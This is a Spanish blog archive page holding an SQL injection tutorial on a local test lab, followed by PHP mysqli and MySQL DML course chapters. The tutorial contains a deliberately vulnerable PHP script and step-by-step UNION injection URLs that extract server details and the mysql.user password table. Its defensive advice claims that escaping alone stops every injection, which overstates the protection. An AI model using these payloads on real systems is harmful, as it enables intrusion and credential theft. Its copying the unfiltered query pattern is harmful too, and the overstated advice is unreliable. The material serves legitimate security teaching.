Archivo

Archivo para la Categoría "MySQL"

Introducción a los ataques SQL Injection

10 julio, 2010 10 comentarios

Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.

Teoría sobre los ataques SQL Injection

Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.

La URL del enlace podría ser algo así (es ficticia, no entreis):

http://www.miforoinventado.com/viewforum.php?cat=3

Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:

$consulta = 'SELECT * FROM entrada
             WHERE entrada.id_categoria = '.$_GET['cat'].
            ' ORDER BY entrada.fecha ASC
             LIMIT 1,10';

Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.

Ejemplo práctico de ataque SQL Injection

Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:

1. Conectamos el servidor web Apache y el servidor MySQL.

2. Creamos una base de datos llamada inyeccion.

CREATE DATABASE inyeccion;

USE inyeccion;

3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.

CREATE TABLE usuario
(
  id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  login VARCHAR(30) NOT NULL,
  password VARCHAR(50) NOT NULL,
  email VARCHAR(50) NOT NULL
);

4. Rellenamos la tabla con datos de prueba.

INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');

5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.

<html>
<head>
  <title>SQL Injection</title>
</head>
<body>

  <form action="inyecciones.php" method="get">
     <label for="id">ID: </label>
     <input type="text" id="id" name="id" />
     <input type="submit" value="Iniciar" />
  </form>

<?php
if( isset($_GET['id']) )
{
  $id    = $_GET['id'];

  $mysqli = new mysqli('localhost', 'root', '');

  $mysqli->select_db('inyeccion');

  $consulta = 'SELECT * FROM usuario WHERE id='.$id;

  echo $consulta.'<br />';

  $resultado = $mysqli->query($consulta);

  $usuario = $resultado->fetch_row();
  echo 'DATOS DEL USUARIO: <br />';
  echo 'ID: '.$usuario[0].'<br />';
  echo 'LOGIN: '.$usuario[1].'<br />';
  echo 'EMAIL: '.$usuario[3].'<br />';

  $resultado->free();

  $mysqli->close();
}
?>
</body>
</html>

Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.

Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:

Introducimos algunos datos de prueba:

Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:

Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.

http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:

Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --

SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.

Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --

SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:

¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.

Extrayendo datos:

Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.

http://localhost/pruebas/inyecciones.php?id=1 order by 1 --

SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 2 --

SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 3 --

SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 4 --

SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 5 --

SELECT * FROM usuario WHERE id=1 order by 5 --

Fatal error: Call to a member function fetch_row() on a
non-object in C:\wamp\www\pruebas\inyecciones.php on line 28

Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.

Obteniendo información del servidor:

Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4

SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4

Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.

Podemos utilizar algunas funciones para extraer información:
- user(): Devuelve el usuario de la base de datos.
- version(): Devuelve la versión del servidor MySQL.
- database(): Devuelve el nombre de la base de datos actual.
- current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
- last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
- connection_id(): Devuelve el ID de una conexion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION  user(),database(),3,version()

SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log

Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.

Sigamos extrayendo informacion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()

SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44

Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.

MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:

http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user

SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:

Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.

Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.

Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.

Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float).

Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:

$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';

$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';

De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.

RESUMEN:

EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.

Categorías:MySQL, PHP, Vulnerabilidades WEBs Etiquetas:

Curso PHP. Capítulo 12: Interactuando con MySQL.

2 julio, 2010 3 comentarios

Retomamos el curso de PHP con un nuevo capítulo donde veremos como interactuar con el sistema gestor de base de datos MySQL desde PHP. Para poder seguir este capítulo es recomendable haber leído los artículos dedicados a las sentencias SQL en MySQL.

Capítulo 1: Introducción

Capítulo 2: Sentencias SQL de definición de datos

Capítulo 3: Sentencias SQL de manipulación de datos

Si has llegado hasta aquí sin haber leído los capítulos del curso de MySQL tienes que saber que en ellos creamos una base de datos llamada blog con tres tablas para guardar los articulos, las categorías y los comentarios. Además insertamos una serie de datos de prueba que utilizaremos para los ejemplos de este capítulo.

Os adjunto el conjunto de sentencias SQL que crean la base de datos, las tablas y los datos de prueba. Lo guardais en un archivo con extensión .sql y tipeais el comando SOURCE en el monitor MySQL para ejecutar las sentencias SQL directamente desde el archivo.

CREATE DATABASE IF NOT EXISTS blog;

USE blog;

CREATE TABLE articulo
( id_articulo BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
id_categoria INT UNSIGNED NOT NULL,
titulo VARCHAR(250) NOT NULL,
contenido TEXT NOT NULL
);

CREATE TABLE comentario
( id_comentario INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
id_articulo BIGINT UNSIGNED NOT NULL ,
autor VARCHAR(250) NOT NULL,
contenido TEXT NOT NULL
);

CREATE TABLE categoria
( id_categoria INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
titulo VARCHAR(250) NOT NULL,
descripcion TEXT NOT NULL
);

INSERT INTO categoria (titulo, descripcion)
VALUES ('PHP','Categoría dedicada a PHP'),
('MySQL','Categoría dedicada a MySQL'),
('Javascript','Categoría dedicada a Javascript');

INSERT INTO articulo (id_categoria, titulo, contenido)
VALUES (1,'Curso PHP. Capítulo 1','Este es el contenido del capítulo 1.'),
(1,'Curso PHP. Capítulo 2','Este es el contenido del capítulo 2.'),
(1,'Curso PHP. Capítulo 3','Este es el contenido del capítulo 3.'),
(2,'Curso MySQL. Capítulo 1','Este es el contenido del capítulo 1.'),
(2,'Curso MySQL. Capítulo 2','Este es el contenido del capítulo 2.'),
(2,'Curso MySQL. Capítulo 3','Este es el contenido del capítulo 3.'),
(3,'Curso Javascript. Capítulo 1','Este es el contenido del capítulo 1.'),
(3,'Curso Javascript. Capítulo 2','Este es el contenido del capítulo 2.'),
(3,'Curso Javascript. Capítulo 3','Este es el contenido del capítulo 3.');

INSERT INTO comentario (id_articulo, autor, contenido)
VALUES (1,'Francisco Belmonte','Genial el primer capítulo del curso de PHP.'),
(1,'Estefania Martinez','Sí, me ha servido de mucho, gracias.'),
(3,'Francisco Belmonte','Gran capítulo tres, a la espera de más.'),
(3,'Estefania Martinez','Eso, que me he quedado con ganas de seguir aprendiendo.'),
(4,'Estefania Martinez','Genial, has comenzado uno de MySQL.'),
(6,'Estefania Martinez','Muchas gracias por la tercera entrega de MySQL.'),
(7,'Francisco Belmonte','Suerte con este nuevo curso de JavaScript.');

Ya tenemos la base de datos de prueba lista para interactuar con ella desde PHP. Vamos a ver en concreto la extensión mysqli orientada a objetos de PHP para interactuar con MySQL. En capitulos posteriores veremos PDO, la capa de abstracción de acceso a datos utilizada por PHP para interactuar con diferentes sistemas gestores de bases de datos.

Configurando una conexión

El primer paso para configurar una conexión a MySQL es instanciar un objeto de la clase mysqli. El constructor de la clase mysqli admite hasta cuatro parámetros: el host donde está alojado el servidor, el nombre del usuario que tiene permisos para acceder a la base de datos, la contraseña del usuario y el nombre de la base de datos que se va a utilizar.

En mi caso utilizaría la siguiente instrucción en PHP:

$mysqli = new mysqli('localhost', 'user', 'user123', 'blog');

Con todo esto le indicamos:

  1. Que quermos conectarnos al sevidor de forma local, también podría haberle pasado la dirección IP local ’127.0.0.1′ como primer parámetro o la dirección IP del servidor si está alojado en otro ordenador, aunque lo normal es tenerlo instalado en el mismo ordenador que hace de servidor web.
  2. Que vamos a utilizar al usuario ‘user’ para accceder al servidor. Este usuario lo he añadido yo y tiene los privilegios mínimos necesarios para hacer un subconjuntos de consultas suficientes para lo que queremos hacer.
  3. Que la contraseña del usuario que vamos a utilizar para acceder a la base de datos es ‘user123′.
  4. Que la base de datos que vamos a utilizar es ‘blog’, la que construimos en los artículos dedicados a MySQL.

Una vez instanciado este objeto ya podemos empezar a interactuar con la base de datos, pero si necesitamos utilizar otro servidor o otra base de datos podemos utilizar los métodos connect() y select_db() del objeto mysqli.

También podemos utilizar estos métodos para instanciar por primera vez el objeto mysqli de la siguiente forma:

$mysqli = new mysqli();
$mysqli->connect('localhost', 'user', 'user123', 'blog');

Instanciamos la clase mysqli con el constructor vacío y utilizamos el método connect() que acepta los mismos parámetros que el constructor de la clase.

Incluso podemos hacerlo de la siguiente forma:

$mysqli = new mysqli('localhost', 'user', 'user123');
$mysqli->select_db('blog');

Instanciamos la clase mysqli pasándole los tres primeros parámetros y después seleccionamos la base de datos con el método select_db().

Como vemos tenemos varias formas de configurar la conexión al servidor MySQL. A partir de aquí ya podemos realizar consultas al servidor.

Cuando finaliza el script las conexiones al servidor se cierran automáticamente pero también podemos utilizar el método close() para cerrar la conexión de la siguiente forma:

$mysqli->close();
Errores al conectar:

Antes de enviar cualquier consulta al servidor a través del objeto mysqli es conveniente comprobar que la conexión se ha establecido satisfactoriamente. Para ello la clase mysqli cuenta con dos propiedades, connect_errno y connect_error que devuelven el código de error de la última llamada de conexión y una cadena descriptiva del último error de conexión respectivamente. Si no se ha producido ningún error la propiedad connect_errno devuelve el valor cero.

if($mysqli->connect_errno)
{
   die('Error al conectar: ' . $mysqli->connect_error);
}

Obviamente mostrar la cadena descriptiva del error producido al usuario no es lo más conveniente, lo mejor sería redireccionar a una página de error especialmente preparada para este tipo de ocasiones.

Definiendo la información del servidor en un archivo separado

Otro factor importante a tener en cuenta es que pueden haber cambios en la configuración del servidor, se puede cambiar el usuario o la contraseña si el servidor ha sido comprometido o cambiar el nombre de la base de datos. Si definimos una serie de constantes en un archivo separado no tendremos que buscar por todos los scripts las diferentes configuraciones al servidor para modificarlas una a una.

Podemos por ejemplo definir una serie de constantes en un archivo separado:

define('MYSQL_HOST','localhost');
define('MYSQL_USER','user');
define('MYSQL_PASS','user123');
define('MYSQL_DB','blog');

Cada vez que queramos configurar una conexión utilizaremos esas constantes siempre que hayamos incluido antes el archivo con la información:

$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB);

Enviando consultas a la base de datos

Podemos enviar consultas a la base de datos a través del método query() que toma como parámetro un string con la sentencias SQL que se desea ejecutar en la base de datos. Importante destacar que si la consulta utiliza datos de entrada del usuario hay que filtrarlos para evitar ataques SQL-Injection. En este capítulo no vamos a entrar mucho en detalle de como filtrar los datos satisfactoriamente ya que estoy escribiendo un artículo dedicado exclusivamente a las inyecciones SQL.

El método query() devuelve:

  • FALSE si falla la consulta a la base de datos.
  • Un objeto de la clase mysqli_result si devuelve resultados, por ejemplo, en una sentencia SELECT.
  • TRUE si la sentencia no falla y no se devuelve resultados, por ejemplo, en una sentencia INSERT.
$consulta = 'SELECT * FROM categoria ORDER BY titulo ASC';
$resultado = $mysqli->query($consulta);

Accediendo a los resultados de la consulta

Una vez ejecutada la consulta podemos acceder a los datos devueltos por el servidor a través del objeto de la clase mysqli_result que cuenta con una serie de métodos para extraer las filas del resultado.

Lo primero que podemos hacer es consultar el número de filas que ha devuelto el resultado de nuestra consulta SELECT a través de la propiedad num_rows del objeto resultado. Si hubieramos ejecutado una sentencia INSERT, UPDATE o DELETE podríamos acceder al número de columnas afectadas a través de la propiedad affected_rows.

$num_resultados = $resultado->num_rows;

De esta forma podemos obtener las filas del resultado en un bucle:

for( $i=0; $i<$num_resultados; $i++ )
{
     //obtenemos las filas del resultado
}

Para obtener cada fila o registro del resultado de la consulta contamos con una serie de métodos:

  1. El método fetch_object() que devuelve la fila actual del resultado en forma de objeto.
  2. El método fetch_row() que devuelve la fila actual del resultado como una matriz de índice numérico.
  3. El método fecth_assoc() que devuelve la fila actual del resultado como una matriz asociativa.

Vamos a ver un ejemplo de como utilizar cada método, para ello mostraremos al usuario todas las filas del resultado que hemos obtenido al ejecutar la sentencia SELECT anterior.

Utilizando el método fetch_object():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_object();
   $id          = $fila->id_categoria;
   $titulo      = $fila->titulo;
   $descripcion = $fila->descripcion;
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_object() nos devuelve un objeto que tiene una serie de propiedades que se llaman igual que el nombre de las columnas de la tabla y cuyo valor es el valor de la columna de la fila actual del resultado.

Utilizando el método fetch_row():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_row();
   $id          = $fila[0];
   $titulo      = $fila[1];
   $descripcion = $fila[2];
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_row() nos devuelve una matriz de índice numérico con el valor de las columnas de la fila actual del resultado.

Utilizando el método fetch_assoc():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_assoc();
   $id          = $fila['id_categoria'];
   $titulo      = $fila['titulo'];
   $descripcion = $fila['descripcion'];
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_assoc() nos devuelve una matriz asociativa que utiliza como claves los nombres de las columnas de la tabla y cuyo valor es el valor de la columna de la fila actual del resultado. Tambien tenemos el método fetch_all() que acepta un parámetro que puede ser:

  • MYSQLI_ASSOC: Si solo queremos que devuelva una matriz asociativa.
  • MYSQLI_NUM: Si solo queremos que devuelva una matriz con índices numéricos.
  • MYSQLI_BOTH: Si queremos que devuelva una matriz asociativa a la que también se pueda acceder por índices numéricos.

Liberando la memoria del resultado

Es conveniente liberar la memoria que está utilizando el objeto resultado una vez que no vayamos a trabajar más con él. Para ello podemos utilizar el método free() del objeto resultado.

$resultado->free();

A partir de aquí ya no podemos acceder a las filas del resultado dado que hemos liberado la memoria que utilizaba.

RESUMEN

Ya hemos visto los principales métodos para conectarse al servidor MySQL, envíar consultas y acceder a los resultados. Queda pendiente el artículo sobre inyecciones SQL y como protegerse de ellas. No vamos a entrar en detalle sobre el uso de consultas preparadas, una nueva funcionalidad en la nueva extensión mysqli, pero podeis informaros en el manual de referencia oficial de PHP.

La curva de desarrollo que yo seguí una vez tenía conocimientos básicos de PHP fue la siguiente:

  1. Empezé programando pequeños scripts para aprender lo básico.
  2. Después practicaba mientras creaba una aplicación similar al fotolog, pero utilizando muchos includes y la programación estructurada, entremezclando código de la lógica de negocios con la presentación.
  3. Después fui mejorandola cambiando algunas cosas por objetos y utilizando la arquitectura modelo-vista-controlador para no estar todo el rato entremezclando código..
  4. Cansado de hacer las cosas poco eficientes empezé a investigar sobre frameworks de desarrollo en PHP y encontré Symfony, me enamoré de él nada más estudiarlo un poco. Descubrí el uso de los ORM y fue una maravilla en comparación a utilizar consultas relacionales.

Y es que el mundo del desarrollo de aplicaciones engloba muchas tecnologías y tienes que aprender a dominarlas todas, no solo te sirve PHP, tienes que aprender a rezalizar buenos marcados de contenido con XHTML, buenas presentaciones en css, añadir funcionalides interactivas en el lado del cliente con JavaScript, técnicas de accesibilidad, etc.

Un mundo enorme por explorar.

Categorías:MySQL, PHP Etiquetas: ,

Curso MySQL. Capítulo 3: Sentencias SQL de manipulación de datos.

1 julio, 2010 12 comentarios

Después de unos días de descanso volvemos a la carga con un nuevo capítulo del curso de MySQL. Vamos a ver las sentencias SQL de manipulación de datos (DML) para insertar, seleccionar, modificar y borrar registros en las tablas creadas en el anterior capítulo.

Empezamos abriendo la línea de comandos y conectándonos al monitor MySQL para poder empezar a ejecutar sentencias.

Insertando registros en las tablas

En el anterior capítulo creamos tres tablas en nuestra base de datos, articulo, comentario y categoria. Pero estas tablas estan completamente vacías, no tienen ningún registro en su interior. Vamos a ver como podemos insertar registros utilizando la sentencia INSERT de SQL.

Podeis ver la sintaxis completa con todas las opciones en el manual de referencia de MySQL 5.0:

http://dev.mysql.com/doc/refman/5.0/es/insert.html

Nosotros vamos a empezar poco a poco explicando cada opción. La sintaxis básica de la sentencia INSERT es la siguiente:

INSERT INTO tabla [(columna1, columna2, ..., columnan)]
VALUES (valor1, valor2, ..., valorn);

aunque también podemos utilizar la siguiente sintaxis:

INSERT INTO tabla
SET columna1=valor1,
columna2=valor2,
...,
columnan=valorn;

Vamos a ver un ejemplo para entenderlo mejor, insertaremos tres categorías en la tabla categoria de la base de datos blog. La siguiente sentencia es la que se encarga de realizarlo todo, para ello creais un archivo con extensión .sql y utilizais el comando source para ejecutar las sentencias directamente desde el archivo o si lo preferis tipear toda la sentencia en la línea de comandos.

INSERT INTO categoria (titulo, descripcion)
VALUES ('PHP','Categoría dedicada a PHP'),
       ('MySQL','Categoría dedicada a MySQL'),
       ('Javascript','Categoría dedicada a Javascript');

Como podemos observar podemos insertar varias filas con una única sentencia INSERT si cada fila se incluye con su propio conjunto de valores separados entre comas.

Tabla categoria

tabla categoria

Si especificamos la opción DELAYED tras INSERT, el servidor pone los registros a insertar en la tabla en un búffer e insertará los datos cuando no se estén leyendo datos de la tabla.

Si especificamos la opción LOW_PRIORITY tras INSERT, el servidor esperará a que no se lean datos de la tabla para insertar los datos dejando al usuario en espera.

La sentencia para insertar registros en las tablas tiene mucha miga, podemos especificar que es lo que pasa cuando se inserta una fila cuya clave primaria ya está registrada, incluso insertar los registros seleccionados desde una consulta SELECT. Pero por ahora ya es suficiente, ya tenemos los conocimientos necesarios para llenar las tres tablas con datos de prueba.

INSERT INTO articulo (id_categoria, titulo, contenido)
VALUES (1,'Curso PHP. Capítulo 1','Este es el contenido del capítulo 1.'),
(1,'Curso PHP. Capítulo 2','Este es el contenido del capítulo 2.'),
(1,'Curso PHP. Capítulo 3','Este es el contenido del capítulo 3.'),
(2,'Curso MySQL. Capítulo 1','Este es el contenido del capítulo 1.'),
(2,'Curso MySQL. Capítulo 2','Este es el contenido del capítulo 2.'),
(2,'Curso MySQL. Capítulo 3','Este es el contenido del capítulo 3.'),
(3,'Curso Javascript. Capítulo 1','Este es el contenido del capítulo 1.'),
(3,'Curso Javascript. Capítulo 2','Este es el contenido del capítulo 2.'),
(3,'Curso Javascript. Capítulo 3','Este es el contenido del capítulo 3.');

INSERT INTO comentario (id_articulo, autor, contenido)
VALUES (1,'Francisco Belmonte','Genial el primer capítulo del curso de PHP.'),
 (1,'Estefania Martinez','Sí, me ha servido de mucho, gracias.'),
 (3,'Francisco Belmonte','Gran capítulo tres, a la espera de más.'),
 (3,'Estefania Martinez','Eso, que me he quedado con ganas de seguir aprendiendo.'),
 (4,'Estefania Martinez','Genial, has comenzado uno de MySQL.'),
 (6,'Estefania Martinez','Muchas gracias por la tercera entrega de MySQL.'),
 (7,'Francisco Belmonte','Suerte con este nuevo curso de JavaScript.');

Podemos ver como han quedado las tablas después de ejecutar las sentencias anteriores:

Tabla articulo

articulo_tabla

Tabla comentario

comentario_tabla

Seleccionando registros en las tablas

Para recuperar datos de la base de datos utilizamos la sentencia SELECT de MySQL. Esta sentencia es muy poderosa y tienen muchas opciones para realizar todo tipo de consultas a las tablas de la base de datos. Como siempre, podeis ver toda la sintaxis con todas sus opciones en el manual de referencia de MySQL 5.0:
http://dev.mysql.com/doc/refman/5.0/es/select.html

Nosotros vamos a ir poco a poco aprendiendo como extraer registros. La forma básica de una instrucción SELECT es la siguiente:

SELECT columnas
FROM tablas
[WHERE condiciones]
[GROUP BY tipo_grupo]
[HAVING de dónde]
[ORDER BY tipo_orden]
[LIMIT tipo_limite];

donde las opciones encerradas entre corchetes son opcionales.

Selecciones básicas en una tabla:

Para empezar veamos un ejemplo muy básico para extraer todas las columnas de la tabla categoria:

SELECT *
FROM categoria;

El arterisco indica que se quiere seleccionar todas las columnas de la tabla, si por ejemplo solo queremos seleccionar el título de todas las categorías, ejecutaríamos la siguiente sentencia:

SELECT titulo
FROM categoria;

Selecciones con criterios de selección:

Estas dos consultas que hemos ejecutado devuelven los datos de todos los registros de la tabla ya que no hemos especificado un criterio de selección. Si lo que queremos es seleccionar un subconjunto de registros debemos especificar un criterio de selección mediante la cláusula WHERE.

Así, si queremos por ejemplo obtener todos los comentarios de Francisco Belmonte ejecutaríamos la siguiente sentencia:

SELECT *
FROM comentario
WHERE autor='Francisco Belmonte';

Además de la igualdad, MySQL admite muchos operadores de comparación y expresiones regulares.

http://dev.mysql.com/doc/refman/5.0/es/non-typed-operators.html

Podemos combinar todos estos operadores con los operadores lógicos AND y OR para realizar criterios de selección más complejos.

